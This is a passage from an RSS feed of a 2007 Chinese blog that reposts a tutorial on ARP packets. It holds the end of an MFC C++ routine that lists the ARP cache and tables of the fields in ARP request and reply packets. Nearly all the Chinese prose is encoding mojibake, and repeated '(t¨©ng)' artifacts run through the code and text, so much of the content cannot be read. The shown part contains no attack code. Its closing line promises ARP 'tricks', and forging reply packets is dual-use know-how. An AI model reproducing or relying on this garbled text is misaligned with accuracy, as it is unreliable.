(t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatMACToStr( ARPList[i].szHWAddrStr, pIpNetTable->table[i].bPhysAddr ); </font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // Type </font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARPList[i].dwType = pIpNetTable->table[i].dwType; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) if (AdapterList[nAdapterIndex].dwIndex != pIpNetTable->table[i].dwIndex) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) continue;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.InsertItem(i,ARPList[i].szIPAddrStr);</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(i,1,ARPList[i].szHWAddrStr);</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) switch(ARPList[i].dwType) { (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // æ ÒŽ(gu¨©)®type的值来转换成字½W¦æ˜¾½C?/font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) case 3: <div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(i,2,"Dynamic");</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) break;</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) case 4:</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(i,2,"Static");</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) break;</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) case 1:</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(i,2,"Invalid");</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) default:</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(i,2,"Other");</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) delete pIpNetTable;</font></div><div align="left"><font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font></div><div align="left"><font color="#4d4db3" size="2">}</font></div><div><font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ˜q™æ ·ä¸€æ¥ï¼Œæˆ‘们基本上大功告成了(ji¨£n)åQŒå…¶ä»–还有一些东西在˜q™é‡Œž®×ƒ¸è®²äº†(ji¨£n)åQŒå¤§å®¶å¯ä»¥ä¸‹è½½æˆ‘的代码看看就好了(ji¨£n)ã€?/font></div><div><font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 下面我们来用ARP包玩一些小把戏 ^_^ã€?/font></div></font> </div> </div> </div> <img src ="http://www.aygfsteel.com/yczz/aggbug/100056.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:45 <a href="http://www.aygfsteel.com/yczz/articles/100056.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰æ‰‹æŠŠæ‰‹æ•™ä½ çŽ©è{ARP包(二)(j¨ª)【数据包的游戏系列之一ã€?/title><link>http://www.aygfsteel.com/yczz/articles/100055.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:41:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100055.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100055.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100055.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100055.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100055.html</trackback:ping><description><![CDATA[ <font face="å®?hu¨¤)ä½? color="#ff00ff" size="2">作者:(x¨¬)</font> <div> <font size="2"> <font face="å®?hu¨¤)ä½?> (t¨©ng) (t¨©ng) <font color="#0000ff">CSDN (t¨©ng) VC/MFC ¾|‘络¾~–程</font><font color="#f70909">PiggyXP</font>  (t¨©ng)<font color="#0909f7">^_^</font></font> </font> </div> <div> <strong> <font face="å®?hu¨¤)ä½? color="#800080" size="2"> </font> </strong> (t¨©ng)</div> <div> <font color="#ff00ff"> <strong> (t¨©ng)</strong> 目录åQ??xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></font> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: å®?hu¨¤)ä½?> <span style="mso-list: Ignore"> <font face="Times New Roman"> <strong> (t¨©ng) (t¨©ng) (t¨©ng) 一</strong>åQ?span style="FONT: 7pt 'Times New Roman'"> (t¨©ng) (t¨©ng) (t¨©ng) </span></font> </span> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">关于</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue"> <font face="Times New Roman">ARP</font> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">协议的基¼‹€çŸ¥è¯†</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <font face="Times New Roman"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 3. ARP包的填充</span> </span> </font> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <font face="Times New Roman"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">二。发送数据包的编½E‹å®žçŽ?/span> </span> </font> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> (t¨©ng) (t¨©ng) 1.填充数据åŒ?/span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> (t¨©ng)</p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">.........................<font color="#7b6699">紧接上文</font>............................</span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 30pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo2; tab-stops: list 30.0pt"> <span style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: å®?hu¨¤)ä½? mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> (t¨©ng)</p> </div> <div> <font size="2"> <font face="å®?hu¨¤)ä½?> <b>3<font color="#b822dd">.ARP</font></b> <b> <font color="#b822dd">包的填充</font> </b> </font> </font> </div> <div> <font face="å®?hu¨¤)ä½? color="#e6941a" size="2">1) è¯äh±‚包的填充åQ?/font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)比如我们的电(sh¨´)è„‘MAC地址ä¸?aa-aa-aa-aa-aa-aaåQŒIPä¸?192.168.0.1</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng)我们惌™¦æŸ¥è¯¢ 192.168.0.99çš„MAC地址åQŒåº”该怎么来做呢?</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <font face="å®?hu¨¤)ä½?> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)首先填充DLC HeaderåQŒé€šè¿‡å‰é¢çš„å­¦ä¹?f¨¤n)我们知道,惌™¦çŸ¥é“某个计算机对应的MAC地址是要¾l™å…¨¾|‘发送广播的åQŒæ‰€ä»?b><font color="#0000ff">接收方MAC</font></b>肯定æ˜?ffffffffffffåQ?b><font color="#0033ff">发送方MAC</font></b>当然是自己啦åQ?/font> <font size="2">于是我们的DLC Headerž®±å¡«å……完成了(ji¨£n)åQŒå¦‚图,加粗的是我们要手动输入的å€?当然我编的程序比较智能,ä¼?x¨¬)根据你选择的ARP包类型帮你自动填入一些字ŒDµï¼Œä½ ä¸€ç”¨ä¾¿çŸ¥^_^)ã€?/font> </font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">DLC Header</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">å¡«å……å€?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">ffffffffffff</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">Ethertype</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">0x0806</font> </div> </td> </tr> </tbody> </table> <div> <font face="å®?hu¨¤)ä½? size="2">å›? ARPè¯äh±‚包中 DLC Header内容</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) 接下来是ARP帧,è¯äh±‚包的<b><font color="#0033ff">操作ç ?/font></b>当然æ˜?1,<b>å?font color="#0000ff">送方的MAC</font></b>以及(qi¨¢ng)<b><font color="#0938f7">IP</font></b>当然填入我们自己的,然后要注意一下,˜q™é‡Œçš?b><font color="#0033ff">接收方IP</font></b>填入我们要查询的那个IP地址åQŒå°±æ˜?92.168.0.99äº?ji¨£n),è€?b><font color="#0909f7">接收方MAC</font></b>å¡«å…¥ä»ÀL„å€¼å°±è¡Œï¼Œä¸è“v作用åQŒäºŽæ˜¯ï¼Œå¦‚图åQ?/font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARP Frame</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">å¡«å……å€?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">¼‹¬äšg¾cÕdž‹</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">1</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">上层协议¾cÕdž‹</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">0800</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">MAC地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">IP地址长度</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">4</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">操作ç ?/font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">发送方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">192.168.0.1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">ä»ÀL„å€?xxxxxxxxxxxx</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">接收方IP</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">192.168.0.99</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">填充数据</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">18</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">0</font> </div> </td> </tr> </tbody> </table> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) å›? ARPè¯äh±‚包中 ARP帧的内容</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) 如果我们构造一个这æ ïL(f¨¥ng)š„包发送出去,如果 192.168.0.99存在且是‹zÕdŠ¨çš„ï¼Œæˆ‘ä»¬é©¬ä¸Šž®×ƒ¼š(x¨¬)收到一ä¸?92.168.0.99发来的一个响应包åQŒæˆ‘们可以查看一下我们的ARP¾~“存列表åQŒæ˜¯ä¸æ˜¯å¤šäº†(ji¨£n)一™å¹ç±»ä¼ÆD¿™æ ïL(f¨¥ng)š„æ?/font> <font face="å®?hu¨¤)ä½? size="2">目:(x¨¬)</font> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 192.168.0.99 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) bb-bb-bb-bb-bb-bb</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 是不是很¼œžå¥‡å‘¢ï¼Ÿ</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 我们再来看一下ARP响应包的构é€?/font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <font size="2"> <font face="å®?hu¨¤)ä½?> <font color="#e6941a"> <b>2) </b> <b>响应包的填充</b> </font> </font> </font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 有了(ji¨£n)前面详细的解è¯ß_(d¨¢)¼Œä½ è‚¯å®šå°±èƒ½è‡ªå·Þp¯´å‡ºå“åº”包的填充方法来äº?ji¨£n)吧åQŒæ‰€ä»¥æˆ‘ž®×ƒ¸¾l†è¯´äº?ji¨£n),列两个表ž®±å¥½ä?/font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 比如说给 192.168.0.99åQˆMACä¸?bb-bb-bb-bb-bb-bbåQ‰å‘一个ARP响应包,告诉它我们的MAC地址ä¸?aa-aa-aa-aa-aa-aaåQŒå°±æ˜¯å¦‚此来填充各个字段</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">DLC Header</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">å¡«å……å€?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">接收方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <font size="2"> <font face="å®?hu¨¤)ä½?> <b>bbbbbbbbbbbb</b> <b> </b> </font> </font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">发送方MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="å®?hu¨¤)ä½? size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">Ethertype</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">0x0806</font> </div> </td> </tr> </tbody> </table> <div> <font face="å®?hu¨¤)ä½? size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) å›? ARP响应包中 DLC Header内容</font> </div> <div> <font face="å®?hu¨¤)ä½? size="2"> </font> (t¨©ng)</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div> <font face="å®?hu¨¤)ä½? size="2">ARP Frame</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">字段</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">长度(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">å¡«å……å€?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">¼‹¬äšg¾cÕdž‹</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">1</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">上层协议¾cÕdž‹</font> </div> </td> <td width="63"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="å®?hu¨¤)ä½? size="2">0800</font> </div> </td> 